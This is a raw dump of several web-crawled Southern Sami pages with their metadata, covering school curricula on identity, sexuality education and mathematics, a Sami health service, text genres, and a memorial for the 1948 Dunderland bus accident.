ISK lea tseegkesovveme dej golme jarngebiehkiej bïjre identiteete, ektesne årrodh jïh kråahpe jïh seksualiteete. Dah raajrojne bïejesovveme tjïelke progresjovnine 1. klaassen raejeste dovne jåarhkeskuvle. Teorije lea jïjtjemse damtedh, jïjtjemse mubpine speejjeldidh, joekehtsvoeth våajnoes darjodh jïh dïhte oktegimse akte vieksiesvoete. Prosessi tjïrrh learohkh haastasuvvieh baakoetjïerti bïjre ussjedadtedh jïh dejtie ovmessie ektiedimmine nuhtjedh, guktie maahta vihties kriterijumi sisnjelen dåemiedidh jïh jïjtse raasth bïejedh.\nLohkehtæjjabïhkedimmie fïerhten raajrose jïh fïerhten ööhpehtimmiesoejkesjasse gååvnese.\nIdentiteete\nÖöhpehtimmieboelhki leah jienebh ulmieh, jïjtjemse speejjeldidh aktene dåehkesne jïh vuejnedh maam ulmide dåehkie jïh ovmessie råållah identiteeteevtiedæmman utnieh. Dah persovneles jïh sosijaale identiteetem bæjjese vaeltieh stööremes fokusinie sosijaale identiteetese. Guktie dah mijjen dahkoeh defineerieh jïh gïeh mijjieh libie? Boelhkh aktem gïengelåbpoe goerkesem sjugniedieh identiteetese – mij baaja jïjtjemse baajnehtidh? Boelhki galhkuvisnie edtja ussjedadtedh guktie dah maehtieh sijjen identiteetem vaarjelidh. Soptestalleme, onterdimmie jïh ussjedadteme leah vihkele gaajhkine boelhkine identiteeten bïjre. Daesnie våajnoes dorje man vihkele lea mïsse akt jïh giesie akt ektiedimmiem utnedh, jïh vieksiesvoeten bïjre joekehts årrodh.\nÖöhpehtimmieboelhkh ulmine utnieh goerkesem tseegkedh mijjieh joekehts dovne mïelesne jïh plïeresne. Learohkh edtjieh buerkiestidh mah buerielaakan maehtieh jïh mah baakoeh dah sijhtieh nuhtjedh dej bïjre. Dah edtjieh jïjtsh jïjtjevoeten bïjre ussjedadtedh, mubpide dam soptsestidh jïh vuejnedh mah leah seammalaakan jïh mah leah joekehts klaassesne. Ulmine goerkesem joekehtsidie tseegkedh jïh dejtie ååktedh. Boelhki ulmie aaj jienebe daejredh jïjtje fuelhkien bïjre jïh mubpiej fuelhkiej bïjre, dovne dej maadtoeh, gïelh jïh ovmessie darjomh jïh laavenjassh mah fuelhkie gujht åtna.\nEktesne årrodh (vïenevoete, irhkeme, nedtevihte jïh vædtsoehvoete)\nTeemesne «Ektesne årrodh» vïenevoete, irhkeme, nedtevihte jïh vædtsoehvoete. Learohkh haastasuvvieh jïjtsh gïeleåtnoen bïjre, jïh jïjtsh jïh mubpiej dahkoeh. Feerhmeme jïh identiteete lea vihkeles baakoetjïerth. Daejnie boelhkine soptsestalleme klaassesne vihkele. Vihkele astedh learohki vaestiedassi bïjre soptsestidh, onterdidh, ussjedadtedh jïh såemies lahtesidie guhkiebasse bigkedh.\nAamhtesisnie «Ektesne årrodh» vïenevoete, irhkeme, moraale-njieptjieh, nedtevihte jïh vædtsoesvoete. Labine ovmessie aehpieh jïh gyhtjelassh mah ahkedh geervebe sjidtieh. Learohkh haestemh åadtjoeh jïjtsh gïeleåtnoem måjhtelidh, jïh jïjtsh jïh mubpiej dahkoeh. Feerhmesovveme jïh identiteete leah vihkeles baakoetjïerth. Raajrosne jienebh labh mah sinsætnan bigkieh, men maahta aaj dejtie sïerrene sinsitneste nuhtjedh. Daejnie boelhkine soptsestalleme klaassesne vihkeles. Vihkeles hijven astoem utnedh learohki vaestiedassi bïjre soptsestidh. Onterdidh, ussjedadtedh jïh såemies lahtestimmiej bïjre vielie soptsestidh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.\nKråahpe jïh seksualiteete\nSisvege raajrosne kråahpe jïh seksualiteete lea ruvse, seksualiteete jïh daaresjimmie. Desnie laavenjassh jïh simuleeremh man åvteste learohkh maehtieh damtijidh jïh baakoeh bïejedh baakoetjïertide goh ruvse, seksualiteete jïh daaresjimmie. Lïerehtimmie goerkesem baakoetjïerti åvteste sjugnede, jïh maahta ovvaajteles heannadimmieh hööptedh.\nJienebh dejstie soejkesjistie ussjedadtemegyhtjelassh utnieh mah maehtieh krïevije årrodh.\nÖöhpehtimmie seksualiteeten bïjre edtja viehkiehtidh guktie maanah jïh noerh leah ryöjredamme ovmessie sosijaale jïh seksuelle tsiehkieh dåastodh hijvenlaakan. Geerve almetji dïedte maanah vaarjelidh. Juktie dam buektiehtidh geerve almetjh tjuerieh jearsoe mierieh jïh sijjiem vedtedh ihke maanah edtjieh doestedh soptsestidh daaresjimmiej bïjre. Maehtebe dam darjodh viehkine aamhtesem seksuelle daaresjimmieh meatan vaeltedh ööhpehtimmesne jïh learoehkidie nuepiem vedtedh ussjedadtedh jïh gyhtjelassh gihtjedh. Maanagujmie seksuelle daaresjimmiej bïjre soptsestidh viehkehte maanaj reaktam vaarjelæmman illedh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/learnlabstagingwebsite-lb-737128648.eu-west-1.elb.amazonaws.com\/no\/laeringsressurser\/sorsamiske-laeringsressurser\/innhold-sorsamisk-3-4-trinn\/identitet-selvbilde-og-kultur-isk-3-4-trinn\/","date":"2023-10-02T13:44:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00072.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":561,"character_repetition_ratio":0.071,"word_repetition_ratio":0.04,"special_characters_ratio":0.134,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh edtjieh eatnemefaagem dååjredh goh praktihkeles jïh kraanskoje faage. Learohkh edtjieh dååjresen, onterdimmien, goerehtimmien jïh dååjrehtimmien tjïrrh aarvoem sijjen bïjre guarkedh aktene eatnemefaageles perspektijvesne. Gosse praktihkeles berkieh jïh jïjtsh modellh darjoeh juktie faageles haestemh loetedh, learohkh maehtieh sjugniedimmie-aavoem evtiedidh, maahtoem orrelaakan ussjedidh jïh goerkesem evtiedidh eatnemefaageles teorijeste. Eatnemevitenskaph aktem sjïere gïelem jïh faagesjïere ussjedimmievuekieh utnieh juktie fenomeenh jïh heannadimmieh tjïelkestidh. Jarngebiehkie faagen buektemehammoeh, vuekieh jïh ussjedimmievuekieh buerkeste. Barkoe jarngebiehkien eatnemefaageles praksish jïh ussjedimmievuekieh edtja barkojne kombineeredh dej mubpiej jarngebiehkiej bïjre.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/nat02-04\/om-faget\/kjerneelementer?lang=sma","date":"2023-09-23T01:09:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506429.78\/warc\/CC-MAIN-20230922234442-20230923024442-00710.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":80,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Vaadtasovvemejaepie 1994 Faage Saemien 1 Saemien musihke jïh scena Daltese SAÖ 1-4 5-7 8-10 VGS Giele Noerhtesaemiengïele Daaroengïele ISBN Vi96 Tïjje 00:29:17 Formaate DVD Reakta-aajhtere NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Kultuvre Filme Kåanste Saemiengïele heevehtslitteratuvre Grammatihke Viehkiebaakoe ČSV Teaatere","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/filbma_samiid-sabethistorja","date":"2023-09-22T22:21:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506423.70\/warc\/CC-MAIN-20230922202444-20230922232444-00296.warc.gz","language":"sma","language_score":0.9949117899,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.994911789894104}","num_words":44,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh göökte soptsesidie staaloej bïjre.\nLohkh tjaalegem «Staaloej bïjre» gærjeste «Staaloeh vienhtieh aske lea dålle» maam Kirsti Birkeland tjaaleme. Ella Holm Bull dam åarjel-saemien gïelese jarkoestamme.\nGoltelh aaj tjoeje-fijlem gusnie Paul Vesterfjell staaloej bïjre soptseste. Jis datne sïjhth, maahtah nedte-sæjroste teekstem aaj veedtjedh jïh lohkedh.\nVaestedh gyhtjelasside.\nGïeh staaloeh jïh guktie dah leah?\nGuktie staaloeh saemiej jïh saemiej maanaj vööste?\nGuktie staaloej identiteete jïh mehtie kultuvreste båetieh, datne vïenhth?\nMaam dah staaloe-soptsesh soptsestieh saemiej baalte-årroji bïjre jïh guktie saemieh tjuerieh dej vööste dåemiedidh?\nDatne gellien aejkien staaloej bïjre govleme, man åvteste saemiej dan jïjnjh staaloe-soptsesh, datne vïenhth?\nMaam dah staaloe-soptsesh soptsestieh saemien njaalmeldh soptsestimmie-vuekien bïjre?\nGuktie maehtebe Paul Vesterfjellen soptsestimmiem staaloej bïjre guarkedh?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:b3912c5d-efbd-4105-a0b9-aa9bc5282acd","date":"2023-09-22T08:53:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00418.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":113,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie dåarjoematerijelle-videjovh bæjhkohte saemien gïelefaagine, mah leah vïedteldihkie faageorrestimmine jïh orre learoesoejkesjigujmie.\nSaemien voestesgïeline lea dovne gïelefaage jïh skearkagimmiefaage. Faage edtja jearsoe gïeleutnijh jïh gïelelohkehtæjja hoksedh saemien seabradahkesne. Saemien mubpiengïeline saemien gïeleaavoem våaroeminie åtna. Nænnoes gïelemaallh edtjieh learohken saemien gïelem evtiedidh faagesne..\nAajkoe videjovigujmie lea hijven viehkie jïh skraejrie årrodh saemienlïerehtimmesne, jïh edtja skreejrehtidh guktie maahta dejtie orre learoesoejkesjidie nuhtjedh, dovne saemiengïelesne voestes- jïh mubpiengïeline","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/learoesoejkesjh\/daarjoematerijelle\/daarjoematerijelle-videjovh-saemien-gielefaagide\/","date":"2023-09-29T00:58:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00760.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":65,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saaht magkeres healsoeviehkiem datne daarpesjh, maahta ryöktesth skïemtjesåjhterinie saemien healsoedåehkesne gaskesadtedh. Skïemtjesåjhtere datnem viehkehte reaktoe healsoebarkijh gaavnedh mej sjïere maahtoe saemien gïelen jïh kultuvren bïjre – dåakterejarngesne, skiemtjehïejmine, hïejmedïenesjisnie, healsoestasjovnesne maanide jïh noeride jïh psykiske healsoen jïh geeruvevoeten goevtesisnie.\nDatne maahtah gaskesadtedh:\nRørosen dåakterejarngesne saemien dåaktere lea stïeresne 4 aejkieh jaepien 2021\/2022.\nE-læringskurset: «Sørsamiske forhold og helse»\nEt kurs for deg som jobber innen helse- og omsorgsyrker, som gir grunnleggende kunnskap om samiske samfunnsforhold, historie, tverrkulturell kommunikasjon og forståelse. Andre kan også ha nytte av kurset. Les mer om e-læringskurset: «Sørsamiske forhold og helse»","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/roros.kommune.no\/helse-og-omsorg\/saemien-healsoedaehkie\/","date":"2023-09-29T23:11:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510529.8\/warc\/CC-MAIN-20230929222230-20230930012230-00014.warc.gz","language":"sma","language_score":0.9942467213,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9942467212677002}","num_words":91,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie teeksth maehtebe aelhkieslaakan jiehtedh mennie sjangerisnie, men eah tjaelijh iktegisth daarpesjh sjangeri njoelkedassi mietie tjaeledh. Dan åvteste maahta gïerve årrodh naan aejkien daejredh mennie sjangerisnie teekste.\nTjiehpieslidteræære-teekstejallh aamhtese-teekste?\nJeenemes teekstijste maehtebe gåhtjodh tjiehpieslidteræære-teekstine jallh aamhtese-teekstine. Naemhtie maehtebe teekstide juekedh:\nTjiehpieslidteræære-teeksth\n- Tjaelije sisvegem hæhtadamme\n- Synonyjmh\/plïere-baakoeh: dikteme, tjiehpies-lidteratuvre\nAamhtese-teeksth\n- Tjaelije man akt bïjre tjaaleme mij heannadamme\n- Synonyjmh\/plïere-baakoeh: aamhtese-prosa, aamhteseprosa-teeksth\nSjangere-væhtah\nIbie iktegisth maehtieh dallah guarkedh mennie sjangerisnie teekste. Men mijjieh maehtebe maam akt teeksten bïjre jiehtedh gosse mijjieh daejtie 4 væhtide nuhtjebe.\n- Teekste heannadamme jallh hæhtadamme\n- Sjangere-nomme mij tjaelije tjaaleme\n- Teeksten aajkoe\n- Guktie tjaelije teekstem hammoedamme\nHæhtadamme jallh rïektesisnie\nSaatnan mah plaerine tjaaleme?\nGosse aamhtese-teeksth jïh tjiehpieslidteratuvre-teeksth lohkebe dle tjoerebe ussjedidh mennie sjangerisnie teekste. Akte tjiehpieslidteratuvre-teekste lea teekste gusnie tjaelije sisvegem hæhtadamme. Dïhte fantasijem nuhtjeme gosse tjaaleme. Mearan aamhtese-teeksth eah leah hæhtadamme, dah buerkiestieh, bievnieh, tjïelkestieh jïh bïhkedieh.\nDan åvteste vihkeles guktie mijjieh teeksth lohkebe. Gosse mijjieh ov-rïektesvoeten jallh laake-meadtoej bïjre lohkebe plaeresne, dellie mijjieh veanhtadibie politije jallh politihkerh edtjieh maam akt darjodh. Mijjieh aaj veanhtadibie dah mah meadtaladteme edtjieh strååffesovvedh.\nGosse mijjieh seammalaakan heannadimmiej bïjre lohkebe aktene romaanesne, dellie maehtebe soptsesen mietie jieledh jïh dan bïjre ussjedidh. Men ibie gåessie gænnah ussjedamme edtjebe åejvie-almetjen luvnie guessine mïnnedh jallh rïektesvoetem krïevedh.\nSjangere-nomme\nTjaelije guhte sæjhta sjïere aamhtesen bïjre tjaeledh jïh sæjhta saetnies aamhtesh åehpiedehtedh, tjuara faaktaj bïjre tjaeledh. Dellie ij maehtieh hæhtadidh jallh diktedh, juktie dellie gieleste. Lohkijh eah dåhkesjh jis tjaelije pryövoe lohkijidie nollelidh.\nSjangere-nomme frijjevoetem vadta\nDïhte guhte hæhtedeminie gosse tjaelieminie, maahta eensilaakan almetji bïjre tjaeledh, men maahta heannadimmiej bïjre aaj tjaeledh jïjtse jieliemistie, historihke heannadimmiej jïh sijjiej bïjre. Læjhkan tjaelije jïh lohkijh leah sïemes, teekste lea hæhtadamme. Sïejhmemes tjaelije maam akt rïektesistie nuhtjie, jïh dellie mænngan dam jeatjahtahta jïh dam sisveginie pleentie maam hæhtadamme.\nMij aajkoe teekstine?\nAajkoe teekstine dellie mijjieh ussjedibie maam teekste edtja darjodh. Gærja-ållermaehteme edtja gærjan sisvegen bïjre soptsestidh, men edtja aaj soptsestidh gïese gærja sjeahta.\nLearoe-gærja edtja mijjem maam akth leerehtidh, jïh akte murriedehteme-programme edtja mijjem murriedehtedh. Aamhtese-teeksth tjïelke jïh praktihkeles aajkoeh utnieh, mearan tjiehpieslidteræære-teeksth mijjem sïejhmemes vielie ov-ryöktesth tsevtsieh. Dah mijjem viehkiehtieh guerkiehtidh, mijjem tsevtsieh, jïh maehtieh aaj mijjem viehkiehtidh mijjen vuajnoem jeatjahtehtedh. Eah dah krïevh lohkije dallah tjuara maam akt darjodh.\nTjaelije hammoem veeljie\nFïerhte sjangere sjïere hammoem åtna. Jarpoeh edtjieh åenehke jïh luste årrodh, mearan barkoe-ohtsemem tjoerebe maallen mietie tjaeledh. Artihkelem mijjieh tjoerebe boelhkine juekedh jïh lissine tjoerebe aamhtese-gïelem nuhtjedh. Filme-ållermaehteme ij leah tjiehpies-lidteratuvre læjhkan mijjieh dam vïersine tjaelebe. Dan åvteste ij hammoe vihkielommes gosse edtjebe jiehtedh mennie sjangerisnie akte teekste.\nBaakoeh\nSaemien\nDaaroen\nlaake-meadtoe\nlovbrudd\nfrijjevoete\nfrihet\ntsevtsedh\npåvirke\nållermaehteme\nomtale\njarpoeh\nvitser","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:19c69125-a123-45f6-bdea-f8d4299bb2e1\/resource:1:160155","date":"2023-09-21T12:04:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00440.warc.gz","language":"sma","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999979734420776}","num_words":422,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"75-års minnemarkering for Dunderlandsulykken\nDet er gått 75 år siden norgeshistoriens verste bussulykke. Onsdag 5. juli vil Norske reindriftsamers landsforbund (NRL) i samarbeid med flere arrangere en minnemarkering.\nKl. 14.00 Minnemarkering i Dunderlandsdalen\n· Kransnedleggelser og taler ved minnestøtta, ca. 45 km nord for Mo i Rana.\n· Joik av Kaja-Regine Bientie.\nKl. 17.00 Program Rana museum:\n· Foredrag om ulykken ved Arna Haga\n· Utstilling om Ildgruben reinbeitedistrikt\nSametingspresident Silje Karine Muotka vil delta sammen med blant ander Rana-ordfører Geir Waage og NRLs leder Inge Even Danielsen.\nBakgrunn\nDen 5. juli 1948 kjørte en buss med reindriftssamer ut i den flomstore Ranaelva. 16 mennesker døde. Bare fem overlevde. Fire av de omkomne ble aldri funnet.\nI 1950 fikk NRL reist en minnestein. Den ble avduket samtidig som NRL hadde sitt landsmøte i Mosjøen. Rundt 1000 møtte opp for å delta på arrangementet.\nNRLs daværende formann, Lars Danielsen, overleverte minnestøtten til ordfører Einar Aanes i Nord-Rana kommune. Aanes lovet at kommunen skulle gjøre alt for å ta vare på dette minnesmerket.\nSiden har det vært holdt minnemarkeringer hvert tiende år.\n75-jaepien mojhteseöörneme Dunderland-ovlahkoen mænngan\n75 jaepieh vaaseme mænngan dïhte vïerremes busseovlahkoe Nöörjesne sjugniehtovvi. Gaskevåhkoen, snjaltjen 5.b. Nöörjen båatsoesaemiej rïjhkesiebrie (NBR) jienebigujmie ektine, sijhtieh mojhtesemïerhkesjimmiem öörnedh.\nTs. 14.00 Mojhtesemïerhkesjimmie Dunderlanddaelesne\n· Plåamsterh bïejesuvvieh jïh håalomh mojhtesegierkien lïhke, medtie 45 km Måefien noerhtelen,\n· Kaja-Regine Bientie juajka.\nTs. 17.00 Programme Rana museum:\n· Håalome ovlahkoen bïjre, Arna Haga\n· Vuesiehtimmie Ildgruben sïjten bïjre\nSaemiedigkiepresideente Silje Karine Muotka jïh jienebh sijhtieh stïeresne årrodh, dej gaskem Raanen tjïelten åejvie Geir Waage jïh NBR:n åvtehke Inge Even Danielsen.\nFåantoe\nSnjaltjen 5. b. 1948 busse båatsoesaemiejgujmie don dulvies Raanenjeanoen gåpmani. 16 almetjh sealadin. Ajve vïjhte bïerkenin. Njieljie dejstie mah faaradin idtjin gåessie gih gååvnesovvh.\n1950 NBR mojhtesegierkiem tseegki. Noelehtimmie lij seamma tïjjen goh NBR sov rïjhketjåanghkoem Mussierisnie öörni. Ovrehte 1000 almetjh böötin edtjin meatan årrodh öörnemisnie.\nDon aejkien NBR:n åvtehke, Lars Danielsen, mojhtesegierkiem deelli Noerhte-Raanen tjïelten åajvan, Einar Aanes. Aanes dåajvoehti tjïelte edtji gaajhkem darjodh daam mojhtesegierkiem gorredidh.\nDon mænngan mojhteseöörnemh orreme fïerhten låhkeden jaepien.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/helgelandmuseum.no\/events\/75-ars-minnemarkering-for-dunderlandsulykken-75-jaepien-mojhteseoorneme-dunderland-ovlahkoen-maenngan\/","date":"2023-09-22T14:11:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506420.84\/warc\/CC-MAIN-20230922134342-20230922164342-00823.warc.gz","language":"sma","language_score":0.9424214959,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9424214959144592, \"sme_Latn_score\": 0.040858782827854156, \"nob_Latn_score\": 0.012555686756968498}","num_words":312,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.974,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmieh 2. jaepiedaltesen mænngan\n- Maahtoeulmieh 4. jaepiedaltesen mænngan\n- Maahtoeulmieh 7. jaepiedaltesen mænngan\n- Maahtoeulmieh 10. jaepiedaltesen mænngan\n- Maahtoeulmieh 1T mænngan– Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P mænngan – Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1T-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Faagem vierhtiedidh\nFaagen maadth maahtoeh\nVihkeles tjiehpiesvoeth lea sjïehtesjamme maahtoeulmine, gusnie dah evtiedimmine viehkiehtieh jïh lea akte bielie faagemaahtoste. Matematihkesne guarka vihkeles tjiehpiesvoeth naemhtie:\nNjaalmeldh tjiehpiesvoeth matematihkesne sæjhta jiehtedh mïelem sjugniedidh viehkine goltelidh, håaledh jïh soptsestidh matematihken bïjre. Dellie tjuara jïjtse mïelem utnedh, gyhtjelassh gihtjedh jïh argumenteradidh viehkine dovne ovbyjjes gïeleste, veele faageterminologijine jïh dïejveseåtnojne. Sæjhta jiehtedh meatan årrodh soptsestimmine, åssjelh buektedh jïh matematihkeles dåeriesmoerh, raerieh jïh strategijh digkiedidh mubpiejgujmie. Evtiedimmie njaalmeldh tjiehpiesvoetijste matematihkesne lea dovne meatan årrodh soptsestimmine matematihken bïjre jïh ellies faageles aamhth åehpiedehtedh jïh digkiedidh. Evtiedimmie lea aaj aelkedh aktem aelhkie matematihkeles gïelem nuhtjedh jïh mænngan veele faageterminologijem jïh lahtestimmievuekieh jïh veele dïejvesh nuhtjedh.\nMaehtedh tjaeledh matematihkesne sæjhta jiehtedh buerkiestidh jïh tjïelkestidh aktem åssjaldahkem, jïh baakoeh bïejedh dïsse maam vueptiestamme jïh åssjaldahkide. Dellie tjuara maehtedh matematihkeles symbovlh darjodh jïh dam byjjes matematihkeles gïelem nuhtjedh juktie dåeriesmoerh loetedh jïh raerieh åehpiedehtedh. Vijriesåbpoe sæjhta jiehtedh guvvieh, skissah, goerh, graafh, tabellh jïh dijagrammh darjodh juktie jïjtsh åssjaldahkh jïh jïjtse lïeremem evtiedidh. Tjaelemeevtiedimmie matematihkesne lea aelkedh aelhkie lahtestimmievuekieh nuhtjedh goske ånnetji ånnetji aalka aktem byjjes symbovlegïelem jïh aktem veele faageterminologijem nuhtedh. Vijriesåbpoe dle edtja aelkedh buerkiestidh jïh öörnegen mietie bïejedh aelhkie tsiehkieh matematihkefaageles sisveginie, goske maahta aktem ellies argumentasjovnem bæjjese bigkedh ellies ektiedimmiej bïjre.\nMaehtedh lohkedh matematihkesne sæjhta jiehtedh symbovlegïelem jïh lahtestimmievuekieh guarkedh jïh nuhtjedh, juktie mïelem sjugniedidh teekstine aarkebiejjeste jïh barkoejieliedistie jïh aaj matematihkefaageles teeksth. Matematihkefaage tjåanghkan bïejeme tjaalegh åtna gusnie matematihkeles vuekieh, graafh, dijagrammh, tabellh, symbovlh, formelh jïh logiske ussjedimmieh. Lohkeme matematihkesne sæjhta jiehtedh bïevnesh veesmedh, hammoem jïh sisvegem analyjseradidh jïh vuarjasjidh, jïh bïevnesh tjåanghkan giesedh ovmessie biehkijste tjaaleginie. Lohkemeevtiedimmie matematihkesne aalka bïevnesh tjaaleginie aelhkie symbovlegïeline gaavnedh jïh dejtie nuhtjedh, goske mïelem gaavna jïh ussjede ellies faagetjaalegi bïjre gïerve symbovlegïeline jïh dïejveseåtnojne.\nMaehtedh ryöknedh goh vihkeles tjiehpiesvoete sæjhta jiehtedh symbovlegïelem, matematihkeles dïejvesh, darjomevuekieh jïh jeereldihkie strategijh nuhtjedh juktie dåeriesmoerh loetedh jïh goerehtidh mij våaroeminie åtna dovne dæjpeles, biejjieladtje tsiehkine jïh matematihkeles dåeriesmoerine. Dellie tjuara damtijidh jïh buerkiestidh tsiehkieh gusnie matematihke lea meatan, jïh matematihkeles vuekieh nuhtjedh gosse edtja dåeriesmoerh gïetedidh. Learohke tjuara aaj govlesadtedh jïh vuarjasjidh man reaktoe dah vaastoeh leah. Ryöknemeevtiedimmie matematihkesne aalka vihkeles taalegoerkesinie jïh damtijidh jïh dåeriesmoerh loetedh aelhkie tsiehkijste goske maahta analyjseradidh jïh loetedh gelliesåarhts ellies dåeriesmoerh jeereldihkie strategijigujmie jïh vuekiejgujmie. Edtja aaj jienebh jienebh ovmessie viehkiedïrregh nuhtjedh aerviedimmine, hammoedimmesne jïh govlesadtemisnie.\nDigitaale tjiehpiesvoeth matematihkesne sæjhta jiehtedh digitaale dïrregh nuhtjedh lïerehtæmman spïeli, goerehtimmien, visualiseringen jïh åehpiedehtemen tjïrrh. Edtja aaj damtedh, nuhtjedh jïh vuarjasjidh digitaale dïrregh aerviedimmide, dåeriesmoereloetemasse, simuleradæmman jïh hammoedæmman. Edtja aaj bïevnesh gaavnedh, daatah analyjseradidh, gïetedidh jïh åehpiedehtedh maereles dïrregigujmie, jïh laejhtehks årrodh gaaltijidie, analyjside jïh illedahkide. Evtiedimmie digitaale tjiehpiesvoetine sæjhta jiehtedh tjåanghkan bïejeme tjaalegigujmie barkedh mah ahkedh elliesåbpoe sjidtieh. Edtja aaj ahkedh vielie vueptiestidh dam aevhkiem digitaale dïrregh utnieh lïerehtimmien gaavhtan matematihkefaagesne.\nSide 4 Av 14","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/kl06\/MAT1-04\/Hele\/Grunnleggende_ferdigheter?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2023-12-11T22:37:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679518883.99\/warc\/CC-MAIN-20231211210408-20231212000408-00011.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":497,"character_repetition_ratio":0.099,"word_repetition_ratio":0.004,"special_characters_ratio":0.128,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmieh 2. jaepiedaltesen mænngan\n- Maahtoeulmieh 4. jaepiedaltesen mænngan\n- Maahtoeulmieh 7. jaepiedaltesen mænngan\n- Maahtoeulmieh 10. jaepiedaltesen mænngan\n- Maahtoeulmieh 1T mænngan– Jåa1 studijeryöjreden 